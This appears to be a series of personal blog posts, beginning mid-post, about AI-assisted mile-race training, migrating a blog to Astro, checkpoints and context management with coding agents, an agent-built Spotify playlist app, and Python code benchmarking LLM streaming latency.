It was true that I would need to run 4 laps with no rest. And that sounded harder than most of the things I had been doing.

So I continued the plan with more conservative expectations about how performance might improve, still following the second plan the model gave me after I told it my fitness level.

My first (and only) tempo run

2025-08-27

User

Tempo Target 4800m @ 7 min/1600m pace

1:45.68 1:47.78 1:46.58 1:46.66 1:45.47 1:46.62 1:47.38 1:47.37 1:47.79 1:48.78 1:49.84 1:39.24

21:19.25

Assistant

Current Performance Analysis:

Recent tempo run: 1:47 per 400m (7:09/mile pace) with excellent consistency
Goal mile pace needed: 1:30 per 400m (6:00/mile)
Gap to bridge: 17 seconds per lap

The Reality:

Your threshold pace is currently 7:00-7:10/mile. To run a 6:00 mile, you need to run significantly faster than this threshold pace, but only sustain it for 6 minutes instead of 21+ minutes. This 70-second per mile gap is substantial but achievable with 9 weeks of focused training.

Recommended Weekly Structure:

Friday: Easy 25-minute run + 8 x 30 seconds at 6:00 pace (90 sec easy jog recovery)

Saturday: 50 minutes truly easy (7:45-8:15 pace) for aerobic base

Tuesday: 8 x 400m with 75 seconds rest, targeting 87-90 seconds per 400m

Projected Timeline:

Current mile fitness: ~6:35-6:40
Week 6 projection: ~6:15-6:20
Week 12 target: Sub-6:00 (requires perfect consistency)

Key Focus: The 400m/800m interval work is critical - it trains the faster energy systems above threshold that you’ll need for the mile. Your finishing kick shows you have speed reserve; now we need to bring your threshold closer to race pace through consistent tempo work.

Claude wasn’t so enthusiastic about the tempo performance with regard to my chances for a 6-minute mile. The mile time projections at the different week marks were varying all over the place.

Because the original training plan was further up in the chat (I had this conversation in one long chat), it was a pain to scroll back to the original plan and the model kept suggesting new plans anyway, with different rest durations that were kind of close to the original plan. I decided to just ask the model to tell me what the workout was for today and go with that.

2025-09-03

User

What is today’s workout?

Assistant

Today’s Workout Summary Main Set: 8 x 400m with 60-second rest Pacing Strategy:

Reps 1-2: 87-88 seconds (conservative start)

Reps 3-6: 85-88 seconds (find rhythm)

Reps 7-8: Hold on, accept what comes

Expect:

Slower than last week (88-92 is fine) Incomplete recovery between reps Heavy breathing throughout

Warmup: 10-15 min easy + 4 x 100m strides Cooldown: 10 min easy jog

User

8x400m 60r

85 60r 89 60r 87 60r 88 60r 89 60r 90 60r 91 60r 90

Assistant

Breakthrough Performance Achieved

You crushed this week’s workout, running 400m repeats at an 88.6-second average with only 60-second rest - just 2.5 seconds slower than last week despite 33% less recovery time. Most athletes lose 5-7 seconds with reduced rest, so this shows exceptional cardio adaptation.

Current Mile Projection

Current fitness level: 6:25-6:30 mile (ahead of schedule)
Week 8 projection: Sub-6:20 very likely
Week 12 goal: Sub-6:00 increasingly realistic

Key Insights

Your ability to hold 88-91 seconds with incomplete recovery proves you can sustain goal pace (90 seconds) when pre-fatigued - exactly what mile racing demands. The minimal fade between first and last rep shows strong lactate tolerance.

Next Week’s Workout (Week 4)

Distance: 8 x 400m
Rest: Reduce to 45-50 seconds
Target pace: 90-93 seconds
Purpose: Complete cardio adaptation phase

You’re ahead of schedule and starting to look like the athlete you remember being. This workout was a statement of your progress toward that sub-6:00 mile goal.

This was a confidence building session for me. I had expected the reduction of rest from 90 to 60 seconds to hit hard and negatively affect my performance. The fact that I was able to continue executing the “plan” despite fatigue felt like a big win.

It seemed like I had exceeded Claude’s expectations for me, at least, after I had given it a reason to doubt its initial predictions. Either way, it was excited.

Again, I didn’t really consider the implications of the feedback I was giving the model and I was somewhat wary of whether its plans were actually reasonable. I definitely wasn’t putting blind trust in the plan and was pushing back, but I was also not very informed, so it’s not as though I was coming from a position of expertise.

An unexpected turn

I realized something else on this day as well.

The track on the East River was closing on 2025-09-08 for construction work until the end of 2026.

RIP. It was a sick track.

My plan had not accounted for this. But I really wanted to give the mile my best shot.

I decided to see what GPT-5 thought I could do to salvage the situation. I was going to need all the help I could get to figure out the next 4 days.

2025-09-04

User

I need to race a mile in 4 days. I am targeting 6 minutes. Here are my most recent workouts.

2025-08-13

5x400m 90r 90 90r 90 90r 89 90r 88 90r 91

2025-08-18

5x400m 90r 75 90r 88 90r 89 90r 88 90r 88

2025-08-26

6x400m 90r 82 90r 90 90r 85 90r 88 90r 84 90r 86

2025-08-27

Tempo Target 4800m @ 7 min/1600m pace

1:45.68 1:47.78 1:46.58 1:46.66 1:45.47 1:46.62 1:47.38 1:47.37 1:47.79 1:48.78 1:49.84 1:39.24

21:19.25

2025-09-03

8x400m 60r 85 60r 89 60r 87 60r 88 60r 89 60r 90 60r 91 60r 90

Give me a plan

Assistant

Here’s your final prep for Sunday’s sub-6:00 mile attempt:

Thu 9/4

20-30 min easy run
Drills + 4-6 relaxed strides (60-100m)

Fri 9/5 — Readiness Check: 2 x 800 @ 2:58-3:00, 2:00 rest

Warm-up: 10-15 min easy, drills, 4-6 strides; optional 1 x 200 at ~45 three minutes before
Target even splits: 200 in 45, 400 in 90, 600 in 2:15, finish 2:58-3:00
Cool-down: 10 min easy
Results guide:
- Green (≤3:00 both): proceed as planned
- Yellow (3:01-3:03): open slightly conservative
- Red (≥3:04 or fade): consider delaying race or adjusting to 6:05-6:10 goal

Sat 9/6

15-20 min very easy + 4 strides
Light mobility, stay off feet otherwise

Sun 9/7 — Race Day

Warm-up (40-50 min pre-race):

10-15 min easy jog, drills, 4-6 strides
Optional: 1 x 200 at ~45 three minutes before start

Pacing Strategy:

Mile: 45/90/3:00/4:30/finish hard
1600m: 90-89-89-88 (sub-5:58)

Key Rules:

Don’t go faster than 45 for first 200
If lap 1 = 92: go 89-89-87
If lap 1 = 88: settle to 90-90, kick last 200

Race Logistics:

Wear your usual fast shoes
Eat carb-focused meal 2-3h before
Hydrate with 300-500ml water + pinch of salt in final 2-3h

Send me your Friday 2 x 800 times and I’ll confirm your exact pacing strategy. You’re ready—nail the first lap and everything else follows.

User

2x800m 120r 3:04 120r 3:02

Assistant

Quick mile plan (yellow readiness): open a touch conservative, then squeeze late.

Race pacing

Default (1600 m): 91 - 90 - 90 - 88 = 5:59
If you open slow (92): 92 - 90 - 89 - 88
If you open fast (≤89): settle to 90-91 on lap 2, 90 on lap 3, kick last 300-200
Full mile (1609 m): hit 1600 in 5:57-5:58; the extra 9 m is your kick

Checkpoints and in-race adjustments

First 200 ≥46; relax, tall posture, light quick cadence
400 ~91 feeling controlled
800 in 3:01-3:03; commit to 89-88 over last two laps
Lap 3 cue: hold cadence, “hips tall, push the ground”
Last 500-300: start squeezing; last 200 go arms-first and commit

Warm-up (start 40-50 min before)

10-15 min easy jog
Drills: leg swings, skips, high knees, butt kicks
4-6 strides building to mile effort
Optional: 1 x 200 at ~45-46 about 3 min before start

Day-before (easy)

15-20 min very easy + 4 relaxed strides; light mobility; otherwise off your feet

Logistics

Wear the shoes you’ve been doing fast work in; lace securely
Carb-centric meal 2-3 h pre-race; optional 15-30 g carb 15-30 min before
Caffeine only if you’re used to it
If windy, tuck on straights, push tailwind sections

Bottom line: Open under control (91), settle, then squeeze. If you’re ~3:02 at 800 feeling smooth, 5:59-6:01 is there with a committed last 600-400.

I popped my new plans and tune up 2x800m results over to Claude and its response left me confused.

2025-09-05

User

2x800m 120r 3:04 120r 3:02

Assistant

Your Recent 800m Performance: 3:04, 3:02 (91.5 seconds per 400m) - excellent pacing with a negative split and strong consistency.

Key Insight: You held near-goal pace for 800m, which shows you can maintain the right speed for half your target distance. Your 800m pace (3:00-3:03) is right on target for a 6:00 mile.

Current Mile Fitness Estimate: 6:20-6:25

Next Steps for 800m Training:

Next time: 3 x 800m at 3:00-3:05 (2 min rest)
Week after: 4 x 800m at 3:00-3:05 (90s rest)

The Challenge: To run a 6:00 mile, you need to hold these 800s back-to-back without rest. Currently you’re completing 800s with 2:00 rest - the goal is eliminating that recovery time while maintaining pace.

These 800m workouts are arguably more important than 400m repeats for your mile goal, as they build the speed endurance needed for your target time.

Since I had had the conversation about the shortened timeline outside this thread, Claude didn’t know what I was talking about. I had two days left and I was going to race on 2025-09-07.

Claude seemed to think I had 6:20-6:25 pace potential given the 2x800m workout. GPT-5 thought I could be within a few seconds of 6:00.

I wasn’t sure what to think. I definitely wished I had more time and had run more 600m and 800m workouts. 800m felt very different from 400m the way I was trying to run them.

I had gone from 90s rest between 400s to 60s to 0s for the 2x800m. That workout was tough, though I think my pacing could have been better.

So I felt sort of in the dark at this point.

Race day

I woke up Sunday morning on 2025-09-07 and it was raining. I went through a pretty standard race prep routine I have. I eat a banana and make sure I am awake several hours before the race.

After sitting around for about two hours, the rain actually let up, so I went down to the track to do my warmup, planning to just race in the rain if I had to.

I had finished my dynamic warmup and was starting to do strides when I saw this.

Well not actually this. What I saw was water midway through the fifth lane of the track. I took this picture after everything was done and 20-30 minutes more draining. If it had only been this bad, I probably wouldn’t have changed much, but at the time, it was so flooded I had to adjust.

I decided to run the race in lane 6. I did some quick research on my phone, and found I needed to do (1600 / 438.33) 3.65 laps.

I sized up the final corner before the last 100m, took the midpoint of the turn (0.125+ 0.50 = 0.625) and added a little bit to that. That would be my finish point on the fourth lap.

It was hacky but I was going to try and make it work.

I went over to my normal starting spot, went out to lane 6, and off I went.

There’s a reason you don’t want to be in lane 6

Running in lane 6 was weird. The turns are longer and I couldn’t pace myself at all since I didn’t know the target 200m or 400m times with the adjusted number of laps.

It was not an optimal setup. Perfect weather though, minus the wet.

I ran the race a bit conservatively through the first half and had a decent amount left in the tank to push the last 1.65 laps.

I clocked the finish at 6:11. I was a bit surprised when I saw it.

I was sure I’d started too conservatively to put up 6:00, but 6:11 felt like a pretty good result.

I did take a look at the stopping point and decided it was probably a touch short of 1600m. So I’m going to call it a 6:15.

Reflecting

Looking back on this process, one thing that surprised me was something Claude said on 2025-08-26

2025-08-26

Assistant

Current Mile Fitness Estimates:

Current: 6:20-6:30
Week 4: 6:10-6:15
Week 8: 6:00-6:05
Week 12: Sub-6:00 achievable

I didn’t know it at the time, but roughly two weeks later I would attempt the mile and finish with a time right in the range Claude predicted. This was before Claude recalibrated its prediction based on my prompt to “be realistic” that same day. That said, Claude made plenty of other predictions in the neighborhood of my goal, so it isn’t so surprising it got one of them right.

Takeaways

It seemed like Claude might have had a better sense of my capabilities than I did. However, when I showed uncertainty, it went with me. Maybe it should have pushed back.

I’m not sure how I would prompt for that, avoiding leading it to adjust its predictions to be less ambitious, if its pattern matching suggested its plan could actually be possible for me to execute.

Maybe it was all a coincidence.

I think there’s a chance I might have performed better on a nicer day. But it’s equally possible I might have started too aggressively and then faded too much.

Unfortunately, I won’t have the chance to find out but I’m glad I got to give this a shot before the track closed. Maybe it’s for the best. I’ll need to do some proper research to learn if Claude was proposing reasonable plans for me.

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Migrating To Astro

Fri, 25 Jul 2025 20:07:03 GMT

I’ve run Thought Eddies as a more dynamic, experimental blog since the beginning of this year. I’d heard about Astro and wanted to put a more personal touch on my web presence.

I wrote an article here or there and then one day, after I’d run into a bit of a block working on Tomo, I had the itch to build Thought Eddies out.

I have several post types I write frequently, so I needed to build sections for those. Then I added support for a bunch of the shortcodes I’d built over the years in Hugo as well as URL aliases. I try to keep all my old links alive and redirecting properly.

Combined with the strong ecosystem of Astro and LLMs, I was able to build and migrate nearly all the content within about a week.

One of the finishing touches was a search that I practically one-shotted with an agent, that was exactly what I wanted.

I wanted to build something like the search page on my previous site, which loaded all the site content client-side and did a client-side search as well. It wasn’t efficient but it worked and didn’t require a backend. I never had any problems with it and my site was building fast and loading fine.

So I added this search modal, triggered by ⌘+k on any page, I finished migrating over my content, and I started building and deploying the site. And wow was it slow. Almost three minutes on my local and almost 15 on CI.

What?

I started searching around and reading the Astro Discord, looking for reports of slow builds. My site isn’t big. There aren’t many images.

So I ran the build a bunch and started inspecting what was slow. One major problem were the number of Open Graph images I was generating.

I had a custom one per page.^[1]

That was not a great idea. Each took a few 100ms to build. I tried switching to a different library, started taking more than one second each.

Ok, no problem. One Open Graph image per site section will be fine.

The build was still taking more than two minutes.

At several points over the course of a few days, I opened devtools and viewed the site’s source. It didn’t fully load. Was Waterfox buggy? I didn’t really know.

I almost noticed the site was taking ~500ms to load. Just slow enough to be annoying.

Hugo (the static site generator I used to build my previous site) is quite fast and there is much discussion about how the Javascript web (and Astro by proxy) can be slow and bloated, but was it really this bad? I had never run into performance like this before. I’d built an Electron app of far greater complexity and even that tooling seems nicer than was I was running into here.

Eventually, I realized I needed to actually see the HTML source for myself. These were static HTML pages after all. To build the site, a webserver starts and a process requests the content for each page, then persists it as a static HTML file to be served in production.

What was taking so long?

I pulled down a page of the site and started to look around

curl "https://www.thoughteddies.com/posts/2025/find-the-groove" > out.html
vi out.html

I saw the page content, a bunch of CSS across the different components, some <path>s, and then I started to see my post content.

Not for the page I was on but for all of the pages across the site.

And then it dawned on me. My seemingly innocuous, static search required all the content from across my site for the client-side search to work.

Every HTML page contained the full content of the entire site.

Classic 🤦

Removing the search functionality from every page brought the site build time down to around 10 seconds total. By no means fast or reasonable all you web purists will tell me because the web is HTML, CSS, and vanilla JavaScript and everything should be 10kb and load in milliseconds. But totally workable for me to build a blog with and have a fine time.

I was pretty proud of this and thought the preview looked pretty good when sending site links in Slack or Messages ↩

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Find the Groove

Thu, 24 Jul 2025 20:35:04 GMT

Working with Cursor was my first experience with the UX pattern of checkpoints when working with a coding agent. If you’re not familiar, it works like this.

The user types a message into an agent-based IDE tool like Cursor, Windsurf, or Cline and submits it to the agent.
The agent reads files, edits them, maybe makes new files.
The user returns to their prior message to edit it and the entire state of the codebase is reverted to how it was before the user typed that prompt.
The user can either edit that prompt or change it completely, then submit it.
The agent then continues from that point in the codebase’s history.

If you’re a software engineer you’re probably thinking, “yes, I do that with Git.”

If you’re not, this is probably the main feature value proposition of Cursor over a CLI-based tool like Claude Code.

Managing side effects

Managing the side effects of coding agents is one of the hardest parts of using them.

For non-engineers, editing a code project is like editing dozens of text documents simultaneously and the undo hotkey doesn’t work. You send a prompt and a ton of stuff happens. The IDE tool shows them which lines were added and which were removed but it is low-value signal for them. The non-engineer’s primary tool for figuring out if the agent did what it was prompted to do is to verify it looks and behaves how they intended.

When verification fails you must go back to the last prior working state. This is where checkpoints are critical.

The ability to revert to the state of “what was working right before I did that last thing” is the fundamental loop that makes creating software as a non-engineer possible. It’s the ability to go back to a prior state and try again.

Software engineers underrate this challenge for two reasons:

Engineers are comfortable with Git and have a good understanding of how to use it to revert changes to their code.
Engineers can read and understand the code itself, so even if something weird happens, they can rely on skills they possess to fix issues with the code if all else fails.

So why don’t you just go learn Git?

I remember learning to use Git. Git is not easy to learn. Git is not easy to use. Git requires an abstract understanding of the filesystem that most computer work does not require.

I know several folks who are not engineers who build software with Cursor. I’ve tried to teach them to use Git, in the abstract, then by example. It often does not go particularly well. The most success I’ve had for adopting Git is having them prompt their agent to use Git for them.

Git’s learning curve is why checkpointing is one of the most sticky features of Cursor, and why non-engineers struggle to adopt CLI-based tools like Claude Code. But the benefits of checkpoints go even further than just a Git replacement.

Context engineering

To get great results out of a coding agent, managing the context window of the LLM is crucial. But this doesn’t just mean clearing the session often. It means carefully deciding when you choose to continue a conversation and when you throw the agent’s response away and revert to a prior snapshot of the codebase.

The goal is to find a groove^[1] with the agent. Agents are relatively good at finding the relevant files in a codebase that need editing to implement instructions described in a prompt but they don’t always get this right.

Trained software engineers might take a more active role in managing the code included as context for the agent. But, as a non-engineer, if you don’t know what any of the code does, you still need to find a way to get the agent to do the work.

Finding the right groove where you’ve prompted the agent in such a way that it has properly sourced the correct context, then meticulously context-managing that conversation until it can no longer be productive is how you make this work.

Finding the groove

You begin a new conversation probing around in latency space, trying to find a groove to drop into that will show you the way forward. This is a confluence of the right prompt that elicits the agent to search the codebase such that it finds the right files, then changes those files in a way that is consistent with the prompt, confirmed by the user’s own verification.

Once you catch this groove, you are in a great position. You can continue to follow the groove and send follow-up prompts to the agent to refine the first implementation to get it more aligned with your intent. But if you find that the agent is all of a sudden out of the groove, stop. Retrace your steps and try to get back onto the well-worn path.

Don’t try and correct the agent. Go back to the previous prompt and correct yourself. Refine your description. Reference the proper context (if you are familiar enough with the codebase to do this).

You must retrace your steps because you are out of the groove. The context window is poisoned. It’s fine to poke around in this area to see what the agent seems to be trying to do or understands at this point but chances are, to get a good result, you are going to want to go back to the last point where things were moving in the right direction.

This is how you use snapshots to find and maintain a groove when working with an agent. It’s partially vibes based, but once you are going in the right direction you make sure that they continue to do so.

You don’t forge forward through the agent’s struggles. You retrace your steps to stay in the groove.

Like a physical groove in wood or a vinyl record. But also like a musical groove where you feel aligned with the rhythm. It’s called ‘vibe coding’ for a reason. There is as much art to this as there is science. ↩

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State Of Code Agents - July 2025

Tue, 15 Jul 2025 13:55:56 GMT

I use code agents to help me code in various capacities. Everything from fully “vibe coded” tools to scripts to specific, well described tasks.

I’d had an itch to work on an idea after using Sonnet 4 for music recommendations.

The idea at its core was to use a chat with an LLM to generate and update a running playlist based on feedback from the user. My thought was I could describe the vibe I was looking to create with the music and the LLM could help make that happen.

My hope was it would introduce me to new artists and songs I might not have otherwise discovered. This had been the case when I chatted with Sonnet about the playlist I was building but the process was quite manual and I wanted to smooth over the rough edges.

Can an agent just do this?

This is one of those projects that lands in the “would be cool” but “not worth that many hours” that language model and coding agents address nicely. Also, the stakes are low and it can all run locally. On my way to get coffee with a friend, I dictated for about 20 minutes, rambling about how this would work, what the UI would look like, what the model would generate, that it needed to integrate with Spotify. I did speech to text on this audio, then I prompted the model to create a functional requirements document that I read and edited. From that, I prompted the model to create a design document that I also read and edited.

I chose to use React Router for the project, so I scaffolded a new project. Then I created an AGENT.md file (I didn’t use Amp but I keep this standard for any agent I use) and then had it track its progress in a plan.md file. Then I sent the agent on its way.

Periodically, the agent would finish a stage of the implementation and I would run the dev server and test it could. I’d prompt the agent with any issue I was having until it fixed them. Then I prompted it to move on to the next stage.

I repeated this process for a little over an hour and a half, while my attention occasionally wandered elsewhere.

Eventually, the agent finished the implementation and I was able to try it out.

Problems

The Spotify integration required some manual setup, to get a client id and secret. I didn’t do this entirely correctly and it took a bit of back and forth to setup the redirect URI properly.

Streaming from Spotify in a browser wasn’t so easy for the model. I’ve never done this by hand before, but it took several correction loops before clicking the “play” button would stream music. Once the agent got this working, the app started spamming the Spotify API and got rate limited.

The next track, skip, and song history tracking did not work and several correction loops could not address the issues. I was seeing duplicates in track history, failure to start the new track after the previous one had ended, and incorrect management of the playlist such that refreshing the page would start it back at the beginning.

Playlist regeneration after chatting or changing the “vibe” config didn’t really work. It seemed the model decided to use the LLM for the first pass and Spotify search for the second. I didn’t attempt to fix this.

Surprises

I never touched the LLM prompt or code that generated the initial music recommendations. This just worked with what the agent created. I might have tweaked it more if I had stuck with the project longer, but it didn’t give me any problems during initial testing.

Getting Spotify streaming working with my brain in management mode was a surprise.

Results and takeaways

The app is functional, sort of.

It looks basically right. It feels pretty wrong and broken.

Agents are great at iterating on projects they can fully test themselves. Backends and APIs are good examples of things agents work on effectively independently.

LLMs are good at writing React code, but I haven’t found them to be great at testing that code in the browser, where it matters. I attached a Playwright MCP to my agent, but it still seemed to struggle with testing its work. I’m not quite ready to write off using this approach. I was too far down the rabbit hole to know what was causing the problem.

Another approach I intend to experiment with is a common log file. Instead of just running

npm run dev

I run npm run dev | tee out.log (or update the package.json to use tee) so that the agent can see the logs of the dev server to fix issues itself. This avoids the need to copy and paste logs into the agent’s chat. This is a tip I took from Armin.

What’s next?

Agent capabilities are at an interesting intersection. They can do a lot of things by themselves and also create a lot of messes. When managed carefully, they can be steered to produce functioning code. When left to their own devices, it’s hard to predict what they will do.

It’s hard to cleanup an agent generated codebase because first you need to onboard to it. The code is completely fresh to you as an engineer.

You can use the model to help you get your bearings, but if you’re encountering a bug the model is struggling with, it may not be as helpful as you need when helping you understand the code, though it can probably still point you in the right direction.

Better guardrails might be able to produce better results than I got using the agent on this project. Maybe setting up the Playwright MCP earlier and having the model test its work incrementally could have kept things on track for longer. I’m really not sure!

There is something here, but it’s hard to articulate. Being so removed from the code is not a comfortable place to be if you care about your software working.

Right now, it feels like refining the agent’s environment and guardrails are where I need to focus. This “vibes” approach still only applies to projects whose future I am not too invested in.

If I need the project to continue to work and scale, I would still need to be more hands on to ensure the agent isn’t making mistakes that cause problems later.

For personal apps that scratch an itch, compelling.

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Gemini Hidden Reasoning

Mon, 07 Jul 2025 01:15:12 GMT

While building Tomo and several prototypes using LLMs, I’ve experimented with several popular language models. It’s generally easier to prototype using the OpenAI chat responses API because most providers support this early API spec (mostly). This approach makes it pretty simple to switch between models and providers by changing model, base_url, and api_key.

After watching tokens stream for the umpteenth time while testing, I started to get different vibes from different models.

Some thoughts that crossed my mind:

Why is Anthropic’s streaming so choppy?
Wow, OpenAI’s streaming is so smooth!
Why did the time to first token for Gemini get so much longer from gemini-2.0-flash to gemini-2.5-flash?

Today is the day we find out what these differences are and if my preconceived notions are actually backed up by experimentation.

Naive streaming with different models

Let’s write some code to stream inference of two models (one older, one newer) from Anthropic, Gemini, and OpenAI.

64 collapsed lines
import openai
import os
import time


class LLMClient(object):
    def __init__(self, api_key, base_url):
        self.api_key = api_key
        self.base_url = base_url

    def get_client(self):
        client = openai.OpenAI(
            api_key=self.api_key,
            base_url=self.base_url,
        )
        return client


client = LLMClient(
    api_key=os.environ.get("OPENAI_API_KEY"),
    base_url="https://api.openai.com/v1",
).get_client()

gemini_client = LLMClient(
    api_key=os.environ.get("GEMINI_API_KEY"),
    base_url="https://generativelanguage.googleapis.com/v1beta/openai/",
).get_client()

anthropic_client = LLMClient(
    api_key=os.environ.get("ANTHROPIC_API_KEY"),
    base_url="https://api.anthropic.com/v1",
).get_client()


def stream_chat_completion(client_instance, model_name):
    print(f"\n--- Streaming from {model_name} ---")
    start_time = time.time()
    stream = client_instance.chat.completions.create(
        model=model_name,
        messages=[
            {"role": "system", "content": "You are a helpful assistant."},
            {"role": "user", "content": "Write a very short poem about a robot."},
        ],
        stream=True,
    )

    first_token = True
    last_token_time = start_time
    for chunk in stream:
        if chunk.choices[0].delta.content is not None:
            current_time = time.time()
            content = chunk.choices[0].delta.content
            chunk_size = len(content)

            token_latency = current_time - last_token_time
            if first_token:
                ttft = current_time - start_time
                print(f"Time to first token: {ttft:.3f} seconds")
                first_token = False

            print(f"[{token_latency:.3f}s, {chunk_size} chars]", end="\n", flush=True)
            last_token_time = current_time
    print("\n")


if __name__ == "__main__":
    stream_chat_completion(client, "gpt-3.5-turbo")
    stream_chat_completion(client, "gpt-4o")
    stream_chat_completion(gemini_client, "gemini-1.5-flash")
    stream_chat_completion(gemini_client, "gemini-2.5-flash")
    stream_chat_completion(anthropic_client, "claude-3-5-sonnet-20240620")
    stream_chat_completion(anthropic_client, "claude-sonnet-4-20250514")

The output is a lot so I collapsed it. I’m going to aggregate some stats across several runs later, but you can see a few things even before we do that I want to take a look.

132 collapsed lines
--- Streaming from gpt-3.5-turbo ---
Time to first token: 0.507 seconds
[0.507s, 0 chars]
[0.007s, 2 chars]
[0.000s, 9 chars]
[0.019s, 3 chars]
[0.000s, 6 chars]
[0.019s, 1 chars]
[0.000s, 4 chars]
[0.006s, 6 chars]
[0.000s, 7 chars]
[0.004s, 5 chars]
[0.000s, 2 chars]
[0.015s, 7 chars]
[0.000s, 3 chars]
[0.014s, 3 chars]
[0.000s, 6 chars]
[0.007s, 1 chars]
[0.000s, 3 chars]
[0.018s, 7 chars]
[0.000s, 6 chars]
[0.004s, 5 chars]
[0.000s, 2 chars]
[0.015s, 4 chars]
[0.000s, 6 chars]
[0.008s, 5 chars]
[0.000s, 4 chars]
[0.013s, 4 chars]
[0.000s, 7 chars]
[0.014s, 5 chars]
[0.000s, 5 chars]
[0.010s, 4 chars]
[0.000s, 2 chars]
[0.025s, 2 chars]
[0.000s, 1 chars]
[0.006s, 11 chars]
[0.000s, 7 chars]
[0.011s, 1 chars]
[0.000s, 2 chars]
[0.011s, 6 chars]
[0.000s, 2 chars]
[0.009s, 6 chars]
[0.000s, 1 chars]



--- Streaming from gpt-4o ---
Time to first token: 0.808 seconds
[0.808s, 0 chars]
[0.017s, 2 chars]
[0.000s, 9 chars]
[0.023s, 6 chars]
[0.000s, 1 chars]
[0.079s, 3 chars]
[0.000s, 3 chars]
[0.030s, 3 chars]
[0.000s, 4 chars]
[0.033s, 5 chars]
[0.000s, 1 chars]
[0.035s, 3 chars]
[0.000s, 4 chars]
[0.029s, 6 chars]
[0.000s, 5 chars]
[0.027s, 6 chars]
[0.000s, 1 chars]
[0.030s, 4 chars]
[0.000s, 7 chars]
[0.027s, 5 chars]
[0.000s, 6 chars]
[0.017s, 1 chars]
[0.000s, 3 chars]
[0.024s, 1 chars]
[0.000s, 6 chars]
[0.021s, 3 chars]
[0.000s, 5 chars]
[0.008s, 1 chars]
[0.000s, 4 chars]
[0.120s, 7 chars]
[0.000s, 7 chars]
[0.000s, 1 chars]
[0.000s, 3 chars]
[0.001s, 2 chars]
[0.000s, 7 chars]
[0.020s, 3 chars]
[0.000s, 3 chars]
[0.016s, 1 chars]
[0.000s, 4 chars]
[0.022s, 6 chars]
[0.000s, 4 chars]
[0.023s, 5 chars]
[0.000s, 1 chars]
[0.010s, 2 chars]



--- Streaming from gemini-1.5-flash ---
Time to first token: 0.439 seconds
[0.439s, 5 chars]
[0.085s, 69 chars]
[0.056s, 21 chars]



--- Streaming from gemini-2.5-flash ---
Time to first token: 2.575 seconds
[2.575s, 25 chars]
[0.104s, 33 chars]



--- Streaming from claude-3-5-sonnet-20240620 ---
Time to first token: 0.857 seconds
[0.857s, 19 chars]
[0.000s, 20 chars]
[0.000s, 7 chars]
[0.000s, 7 chars]
[0.038s, 15 chars]
[0.048s, 9 chars]
[0.047s, 7 chars]
[0.085s, 8 chars]
[0.002s, 8 chars]
[0.050s, 2 chars]



--- Streaming from claude-sonnet-4-20250514 ---
Time to first token: 1.634 seconds
[1.634s, 7 chars]
[0.132s, 31 chars]
[0.590s, 44 chars]
[1.020s, 45 chars]
[0.174s, 7 chars]

The tokens streamed by OpenAI are smaller than those of the other providers, and there is very little latency between tokens. This likely makes the streaming feel smooth.
Time to first token increases significantly from gemini-1.5-flash to gemini-2.5-flash. We’ll come back to that.
Gemini’s streamed chunks are larger than those of the other providers.
Anthropic’s chunk size and time between chunks are a bit variable. Gemini’s chunks are large enough (and the total inference output for this prompt small enough) that it’s hard to tell how it compares off the bat.

Enough qualitative stuff.

Let’s run some stats.

I changed the prompt to elicit a longer inference response.

Write a story about a robot.

We’re going to do five runs of each model and measure the time to first token, chunk latency (between chunks 2-3, 3-4, etc.), and chunk size in characters.

111 collapsed lines
import openai
import os
import time
import statistics
import json


class LLMClient(object):
    def __init__(self, api_key, base_url):
        self.api_key = api_key
        self.base_url = base_url

    def get_client(self):
        client = openai.OpenAI(
            api_key=self.api_key,
            base_url=self.base_url,
        )
        return client


client = LLMClient(
    api_key=os.environ.get("OPENAI_API_KEY"),
    base_url="https://api.openai.com/v1",
).get_client()

gemini_client = LLMClient(
    api_key=os.environ.get("GEMINI_API_KEY"),
    base_url="https://generativelanguage.googleapis.com/v1beta/openai/",
).get_client()

anthropic_client = LLMClient(
    api_key=os.environ.get("ANTHROPIC_API_KEY"),
    base_url="https://api.anthropic.com/v1",
).get_client()


def stream_chat_completion(client_instance, model_name, stats):
    print(f"\n--- Streaming from {model_name} ---")
    start_time = time.time()
    stream = client_instance.chat.completions.create(
        model=model_name,
        messages=[
            {"role": "system", "content": "You are a helpful assistant."},
            {"role": "user", "content": "Write a story about a robot."},
        ],
        stream=True,
    )

    first_token = True
    last_token_time = start_time
    chunk_latencies = []
    chunk_sizes = []

    for chunk in stream:
        if chunk.choices[0].delta.content is not None:
            current_time = time.time()
            content = chunk.choices[0].delta.content
            chunk_size = len(content)
            chunk_sizes.append(chunk_size)

            token_latency = current_time - last_token_time
            if first_token:
                ttft = current_time - start_time
                print(f"Time to first token: {ttft:.3f} seconds")
                first_token = False
                if model_name not in stats:
                    stats[model_name] = {
                        "ttft": [],
                        "chunk_latencies": [],
                        "chunk_sizes": [],
                    }
                stats[model_name]["ttft"].append(ttft)
            else:
                chunk_latencies.append(token_latency)

            print(f"[{token_latency:.3f}s, {chunk_size} chars]", end="\n", flush=True)
            last_token_time = current_time

    if chunk_latencies:
        stats[model_name]["chunk_latencies"].append(chunk_latencies)
    if chunk_sizes:
        stats[model_name]["chunk_sizes"].append(chunk_sizes)
    print("\n")


def calculate_aggregate_stats(stats):
    results = {}
    for model, data in stats.items():
        ttft_mean = statistics.mean(data["ttft"])
        ttft_stdev = statistics.stdev(data["ttft"]) if len(data["ttft"]) > 1 else 0

        all_latencies = [
            latency
            for run_latencies in data["chunk_latencies"]
            for latency in run_latencies
        ]
        latency_mean = statistics.mean(all_latencies) if all_latencies else 0
        latency_stdev = statistics.stdev(all_latencies) if len(all_latencies) > 1 else 0

        all_sizes = [size for run_sizes in data["chunk_sizes"] for size in run_sizes]
        size_mean = statistics.mean(all_sizes) if all_sizes else 0
        size_stdev = statistics.stdev(all_sizes) if len(all_sizes) > 1 else 0

        results[model] = {
            "ttft": {"mean": ttft_mean, "stdev": ttft_stdev},
            "chunk_latency": {"mean": latency_mean, "stdev": latency_stdev},
            "chunk_size": {"mean": size_mean, "stdev": size_stdev},
        }

    return results


if __name__ == "__main__":
    stats = {}
    models = [
        (client, "gpt-3.5-turbo"),
        (client, "gpt-4o"),
        (gemini_client, "gemini-1.5-flash"),
        (gemini_client, "gemini-2.5-flash"),
        (anthropic_client, "claude-3-5-sonnet-20240620"),
        (anthropic_client, "claude-sonnet-4-20250514"),
    ]

    for _ in range(5):
        print(f"\n=== Run {_ + 1} ===")
        for client_instance, model_name in models:
            stream_chat_completion(client_instance, model_name, stats)

    aggregate_stats = calculate_aggregate_stats(stats)
    print("\n=== Aggregate Statistics ===")
    print(json.dumps(aggregate_stats, indent=2))

This took a little while to run and I could have parallelized. Fortunately, the first run got the stats I was looking to see.

